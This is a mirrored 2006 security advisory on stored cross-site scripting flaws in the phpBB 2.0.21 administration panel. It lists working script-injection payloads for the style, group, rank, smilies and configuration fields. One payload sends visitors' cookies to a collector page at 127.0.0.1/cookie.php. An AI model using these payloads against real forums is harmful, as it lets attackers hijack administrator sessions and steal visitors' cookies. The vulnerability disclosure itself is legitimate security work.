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securityvulnsSecurityvulnsSECURITYVULNS:DOC:13542
HistoryJul 24, 2006 - 12:00 a.m.

XSS phpBB 2.0.21 in administration

2006-07-2400:00:00
vulners.com
175

phpBB 2.0.21 XSS in administration


//-- By Blwood [[email protected]]
//-- [ http://www.blwood.net ]
//–

Style Admin

Management & Create a theme

Lots of input are not properly "filtrate" like style_name, head_stylesheet, body_background, tr_color1_name (all the input in simple name)…

We cand ofcourse inject html in this way : "><h1>Owned by Blwood :P</h1>
but it's more interresting to inject javascript :) :
"><body onload="alert('Owned by Blwood')"> => style_name
"><script>alert('Owned by Blwood')</script> => head_stylesheet, body_background, …
When an admin will go in Style Administration he will be Owned. (inject in style_name)
When an admin will edit a them he will be Owned.

Group Administration

Management

Input group_description is not correctly "filtrated" we can inject js like this : "><script>alert('Owned by Blwood')</script> or </textare>"><script>alert('Owned by Blwood')</script>
When an admin will go in Group administration he'll be owned. But what's more, the groups can be seen in groupcp.php
by every visitors.
An exploit could be :
</textarea>"><script>document.location='http://127.0.0.1/cookie.php?&#39;+document.cookie&lt;/script&gt;
or
</textarea>"><script>document.location='http://site.com/ownedpage.html&#39;&lt;/script&gt;

Ranks

Rank Administration

Rank Title (input title) is not correctly filtrated, we can inject js like : "><script>alert('xss')</script>
But what's interresting, if you give this rank to an user, the rank will appear in user's topics and the code will be executed when someone sees a topic :)
Now you can inject what you want but maximum 40 caracters…

Smilies

Smiles Editing Utility

Smiley Code : "><body onload="alert('Owned by Blwood')">

Configuration

General Configuartion

Inputs are not correctyle filtrated : Ex : allow_html_tags => "><script>alert('Owned by Blwood')</script>

[ Video ]

http://www.blwood.net/advisory/phpbb2021xssadmin.rar